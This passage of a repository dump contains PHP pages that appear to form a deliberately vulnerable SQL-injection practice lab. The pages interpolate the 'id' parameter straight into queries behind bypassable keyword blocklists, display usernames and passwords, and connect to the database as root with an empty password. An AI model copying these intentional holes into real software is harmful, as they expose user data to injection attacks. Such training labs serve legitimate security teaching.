79 | 	else {
80 | 		echo "<br>";
81 | 		echo mysql_error();}*/
82 | 	echo "</div>";
83 | }
84 | ?>
85 | 
86 |   		  		
87 |   	</div>
88 |   	<br>
89 | 		<br>
90 |   	<div class="container text-center">
91 | 			<a href="#" class="btn btn-info " role="button">About</a>
92 | 		</div>
93 | </html>


--------------------------------------------------------------------------------
/sql-6.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE>
  2 | <html>  
  3 |  <body>
  4 |  <meta charset="utf-8">
  5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
  7 |   <title>xss-1</title>
  8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
 10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
 11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
 12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
 13 |  </body>
 14 |   <div class="container">
 15 |   		<!-- 页头 -->
 16 |   		<div class="row">
 17 | 
 18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
 19 |   				<div class="page-header">
 20 |   					<h1>SQl Injection</h1>
 21 |   				</div>
 22 |   			</div>	
 23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
 24 |   				<nav aria-label="Page navigation">
 25 |     				<ul class="pagination">
 26 |    	 	 				<li>
 27 |       					<a href="#" aria-label="Previous">
 28 |         					<span aria-hidden="true">&laquo;</span>
 29 |       					</a>
 30 |     					</li>
 31 |     					<li><a href="SQL-1.php">1</a></li>
 32 |     					<li><a href="SQL-2.php">2</a></li>
 33 |     					<li><a href="SQl-3.php">3</a></li>
 34 |     					<li><a href="SQl-4.php">4</a></li>
 35 |     					<li><a href="SQL-5.php">5</a></li>
 36 |     					<li><a href="SQl-6.php">6</a></li>
 37 |     					<li><a href="SQl-7.php">7</a></li>
 38 |     					<li><a href="SQl-8.php">8</a></li>
 39 |     					<li>
 40 |      					 	<a href="#" aria-label="Next">
 41 |        				 		<span aria-hidden="true">&raquo;</span>
 42 |       					</a>
 43 |     					</li>
 44 |     					<p class="text-center">注入参数 id</p>
 45 |   					</ul>
 46 | 					</nav>
 47 |   			</div>
 48 |   		</div>
 49 |   	</div>
 50 |   	<div class="container">
 51 | <?php 
 52 | //数据库连接
 53 | include("sql-connect.php");
 54 | 
 55 | //屏蔽mysql错误
 56 | ini_set('display_errors', 'off');
 57 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
 58 | 
 59 | function sqlentities($var) {
 60 | 	$var = str_replace("select"," ",$var);
 61 | 	$var = str_replace("sleep"," ",$var);
 62 | 	$var = str_replace("and"," ",$var);
 63 | 	$var = str_replace("from"," ",$var);
 64 | 	$var = str_replace("where"," ",$var);
 65 | 	$var = str_replace("union"," ",$var);
 66 | 	
 67 | 	return $var;
 68 | 	}
 69 | 
 70 | echo "<div class='text-center'>";
 71 | if(isset($_GET['id'])) {
 72 | 	$id = sqlentities($_GET['id']);
 73 | 	echo "传入的值:id=" .$id;
 74 | 	echo "<br>";
 75 | 	 	
 76 | 
 77 | $sql_query="SELECT * FROM users WHERE id=$id LIMIT 0,1";
 78 | print_r("$sql_query");
 79 | echo "<br>";
 80 | $result = mysql_query($sql_query);
 81 | 
 82 | $arr = mysql_fetch_array($result);
 83 | 
 84 | if ($arr) {
 85 | 	echo "<br>";
 86 | 	echo "<br>";
 87 | 	echo "Username: " .$arr['username'];
 88 | 	echo "<br>";
 89 | 	echo "Password: " .$arr['password'];
 90 | 	echo "<br>";}
 91 | 	else {
 92 | 		echo "<br>";
 93 | 		echo "sql查询失败";}
 94 | 	echo "</div>";
 95 | }
 96 | ?>
 97 | 
 98 |   		  		
 99 |   	</div>
100 |   	<br>
101 | 		<br>
102 |   	<div class="container text-center">
103 | 			<a href="#" class="btn btn-info " role="button">About</a>
104 | 		</div>
105 | </html>


--------------------------------------------------------------------------------
/sql-7.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE>
  2 | <html>  
  3 |  <body>
  4 |  <meta charset="utf-8">
  5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
  7 |   <title>xss-1</title>
  8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
 10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
 11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
 12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
 13 |  </body>
 14 |   <div class="container">
 15 |   		<!-- 页头 -->
 16 |   		<div class="row">
 17 | 
 18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
 19 |   				<div class="page-header">
 20 |   					<h1>SQl Injection</h1>
 21 |   				</div>
 22 |   			</div>	
 23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
 24 |   				<nav aria-label="Page navigation">
 25 |     				<ul class="pagination">
 26 |    	 	 				<li>
 27 |       					<a href="#" aria-label="Previous">
 28 |         					<span aria-hidden="true">&laquo;</span>
 29 |       					</a>
 30 |     					</li>
 31 |     					<li><a href="SQL-1.php">1</a></li>
 32 |     					<li><a href="SQL-2.php">2</a></li>
 33 |     					<li><a href="SQl-3.php">3</a></li>
 34 |     					<li><a href="SQl-4.php">4</a></li>
 35 |     					<li><a href="SQL-5.php">5</a></li>
 36 |     					<li><a href="SQl-6.php">6</a></li>
 37 |     					<li><a href="SQl-7.php">7</a></li>
 38 |     					<li><a href="SQl-8.php">8</a></li>
 39 |     					<li>
 40 |      					 	<a href="#" aria-label="Next">
 41 |        				 		<span aria-hidden="true">&raquo;</span>
 42 |       					</a>
 43 |     					</li>
 44 |     					<p class="text-center">注入参数 id</p>
 45 |   					</ul>
 46 | 					</nav>
 47 |   			</div>
 48 |   		</div>
 49 |   	</div>
 50 |   	<div class="container">
 51 | <?php 
 52 | //数据库连接
 53 | //include("sql-connect.php");
 54 | 
 55 | //屏蔽mysql错误
 56 | ini_set('display_errors', 'off');
 57 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
 58 | //数据库设置
 59 | $dbusername = 'root';
 60 | $dbpassword = '';
 61 | $dbname = 'challenge';
 62 | $host = '127.0.0.1:3306';
 63 | 
 64 | $con = mysql_connect($host,$dbusername,$dbpassword);
 65 | if(!$con) {
 66 | 	echo "数据库连接失败" .mysql_error();
 67 | 	}
 68 | @mysql_select_db($dbname,$con) or die ( "Unable to connect to the database: $dbname");
 69 | 
 70 | 
 71 | function sqlentities($var) {
 72 | 	$var = preg_replace('/(select|where|sleep|and|from|union|or|\'|"|\\\|\*|-|%|#|=)/i',"",$var);
 73 | 	echo $var;
 74 | 	//return $var;
 75 | 	}
 76 | 
 77 | echo $var;
 78 | 
 79 | echo "<div class='text-center'>";
 80 | if(isset($_GET['id'])) {
 81 | 	$id = sqlentities($_GET['id']);
 82 | 	echo "传入的值:id=" .$id;
 83 | 	echo "<br>";
 84 | 	 	
 85 | 
 86 | $sql_query="SELECT * FROM users WHERE id=$id LIMIT 0,1";
 87 | print_r("$sql_query");
 88 | echo "<br>";
 89 | $result = mysql_query($sql_query);
 90 | 
 91 | $arr = mysql_fetch_array($result);
 92 | 
 93 | if ($arr) {
 94 | 	echo "<br>";
 95 | 	echo "<br>";
 96 | 	echo "Username: " .$arr['username'];
 97 | 	echo "<br>";
 98 | 	echo "Password: " .$arr['password'];
 99 | 	echo "<br>";}
100 | 	else {
101 | 		echo "<br>";
102 | 		echo "sql查询失败";}
103 | 	echo "</div>";
104 | }
105 | ?>
106 | 
107 |   		  		
108 |   	</div>
109 |   	<br>
110 | 		<br>
111 |   	<div class="container text-center">
112 | 			<a href="#" class="btn btn-info " role="button">About</a>
113 | 		</div>
114 | </html>


--------------------------------------------------------------------------------
/sql-8.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE>
  2 | <html>  
  3 |  <body>
  4 |  <meta charset="utf-8">
  5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
  7 |   <title>xss-1</title>
  8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
 10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
 11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
 12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
 13 |   <style type="text/css">
 14 | .head-info {
 15 |   padding: 5px 0;
 16 |   text-align: center;
 17 |   font-weight: 600;
 18 |   font-size: 2em;
 19 |   color: #fff;
 20 |   background: #23232e;
 21 |   height: 50px;
 22 | 	border-top-left-radius: 10px;
 23 | 	-webkit-border-top-left-radius: 10px;
 24 | 	-moz-border-top-left-radius: 10px;
 25 | 	-o-border-top-left-radius: 10px;
 26 | 	border-top-right-radius: 10px;
 27 | 	-webkit-border-top-right-radius: 10px;
 28 | 	-moz-border-top-right-radius: 10px;
 29 | 	-o-border-top-right-radius: 10p
 30 | }
 31 | input[type="text"] {
 32 | 	  width: 70%;
 33 | 	  padding: 1em 2em 1em 3em;
 34 | 	  color: #9199aa;
 35 | 	  font-size: 18px;
 36 | 	  outline: none;
 37 | 	  background: url(../images/adm.png) no-repeat 10px 15px;
 38 | 	  border: none;
 39 | 	  font-weight: 100;
 40 | 	  border-bottom: 1px solid#484856;
 41 | 	  margin-top: 2em;
 42 | }
 43 |  input[type="password"]{
 44 | 	  width: 70%;
 45 | 	  padding: 1em 2em 1em 3em;
 46 | 	  color: #dd3e3e;
 47 | 	  font-size: 18px;
 48 | 	  outline: none;
 49 | 	  background: url(../images/key.png) no-repeat 10px 23px;
 50 | 	  border: none;
 51 | 	  font-weight: 100;
 52 | 	  border-bottom: 1px solid#484856;
 53 | 	  margin-bottom: 3em;
 54 |  }
 55 | .key {
 56 |    background: url(../images/pass.png) no-repeat 447px 17px;
 57 | }
 58 | input[type="submit"]{
 59 |   font-size: 30px;
 60 |   color: #fff;
 61 |   outline: none;
 62 |   border: none;
 63 |   background: #3ea751;
 64 |   width: 100%;
 65 |   padding: 18px 0;
 66 |   border-bottom-left-radius: 15px;
 67 | 	-webkit-border-bottom-left-radius: 15px;
 68 | 	-moz-border-bottom-left-radius: 15px;
 69 | 	-o-border-bottom-left-radius: 15px;
 70 | 	border-bottom-right-radius: 15px;
 71 | 	-webkit-border-bottom-right-radius: 15px;
 72 | 	-moz-border-bottom-right-radius: 15px;
 73 | 	-o-border-bottom-right-radius: 15px;
 74 | 	cursor: pointer;
 75 | }
 76 | input[type="submit"]:hover {
 77 | 	background: #ff2775;
 78 |   border-bottom-left-radius: 15px;
 79 | 	-webkit-border-bottom-left-radius: 15px;
 80 | 	-moz-border-bottom-left-radius: 15px;
 81 | 	-o-border-bottom-left-radius: 15px;
 82 | 	border-bottom-right-radius: 15px;
 83 | 	-webkit-border-bottom-right-radius: 15px;
 84 | 	-moz-border-bottom-right-radius: 15px;
 85 | 	-o-border-bottom-right-radius: 15px;
 86 |   	transition: 1s all;
 87 | 	-webkit-transition: 1s all;
 88 | 	-moz-transition: 1s all;
 89 | 	-o-transition: 1s all;
 90 | }
 91 | label.lbl-1 {
 92 |   background: #6756ea;
 93 |   width: 20px;
 94 |   height: 20px;
 95 |   display: block;
 96 |   float: right;
 97 |   border-radius: 50%;
 98 |   margin: 16px 10px 0px 0px;
 99 | }
100 | label.lbl-2 {
101 |   background: #ea569a;
102 |   width: 20px;
103 |   height: 20px;
104 |   display: block;
105 |   float: right;
106 |   border-radius: 50%;
107 |    margin: 16px 10px 0px 0px;
108 | }
109 | label.lbl-3 {
110 |   background: #f1c85f;
111 |   width: 20px;
112 |   height: 20px;
113 |   display: block;
114 |   float: right;
115 |   border-radius: 50%;
116 |   margin: 16px 10px 0px 0px;
117 | }	
118 |   </style>
119 |  </body>
120 |   <div class="container">
121 |   		<!-- 页头 -->
122 |   		<div class="row">
123 | 
124 |   			<div class="col-xs-6 col-sm-6 col-md-6">
125 |   				<div class="page-header">
126 |   					<h1>SQl Injection</h1>
127 |   				</div>
128 |   			</div>	
129 |   			<div class="col-xs-6 col-sm-6 col-md-6">
130 |   				<nav aria-label="Page navigation">
131 |     				<ul class="pagination">
132 |    	 	 				<li>
133 |       					<a href="#" aria-label="Previous">
134 |         					<span aria-hidden="true">&laquo;</span>
135 |       					</a>
136 |     					</li>
137 |     					<li><a href="SQL-1.php">1</a></li>
138 |     					<li><a href="SQL-2.php">2</a></li>
139 |     					<li><a href="SQl-3.php">3</a></li>
140 |     					<li><a href="SQl-4.php">4</a></li>
141 |     					<li><a href="SQL-5.php">5</a></li>
142 |     					<li><a href="SQl-6.php">6</a></li>
143 |     					<li><a href="SQl-7.php">7</a></li>
144 |     					<li><a href="SQl-8.php">8</a></li>
145 |     					<li>
146 |      					 	<a href="#" aria-label="Next">
147 |        				 		<span aria-hidden="true">&raquo;</span>
148 |       					</a>
149 |     					</li>
150 |   					</ul>
151 | 					</nav>
152 |   			</div>
153 |   		</div>
154 |   	</div>
155 |   	<div class="container">
156 |   		<div class="col-xs-6 col-sm-6 col-md-6">
157 |   		<div class="login-form">
158 |   			<div class="close"></div>
159 |   			<div class="head-info">
160 |   				<label class="lbl-1"></label>
161 |   				<label class="lbl-2"></label>
162 |           <label class="lbl1-3"></label>
163 |   			</div>
164 |   			<div class="close"></div>
165 |   			<div class="avyar">
166 |   				<img src="">
167 |   			</div>
168 |   			<form action="login.php" method="post">
169 |   				<input type="text" class="text" name="username" value="usernmae" onfocus="this.value = '';">
170 |   				<div class="key">
171 |   					<input type="password" name="usernmae" value="password" onfocus="this.value = '';">
172 |   				</div>
173 |   				<div class="signin">
174 |   					<input type="submit" value="Login">
175 |   				</div>
176 |   			</form>
177 |   		</div>
178 |   	</div>
179 |   	</div>
180 |   	<div class="container">
181 | 
182 |   		  		
183 |   	</div>
184 |   	<br>
185 | 		<br>
186 |   	<div class="container text-center">
187 | 			<a href="#" class="btn btn-info " role="button">About</a>
188 | 		</div>
189 | </html>


--------------------------------------------------------------------------------
/sql-connect.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | //数据库设置
 4 | $dbusername = 'root';
 5 | $dbpassword = '';
 6 | $dbname = 'challenge';
 7 | $host = '127.0.0.1:3306';
 8 | 
 9 | $con = mysql_connect($host,$dbusername,$dbpassword);
10 | if(!$con) {
11 | 	echo "数据库连接失败" .mysql_error();
12 | 	}
13 | @mysql_select_db($dbname,$con) or die ( "Unable to connect to the database: $dbname");
14 | ?>


--------------------------------------------------------------------------------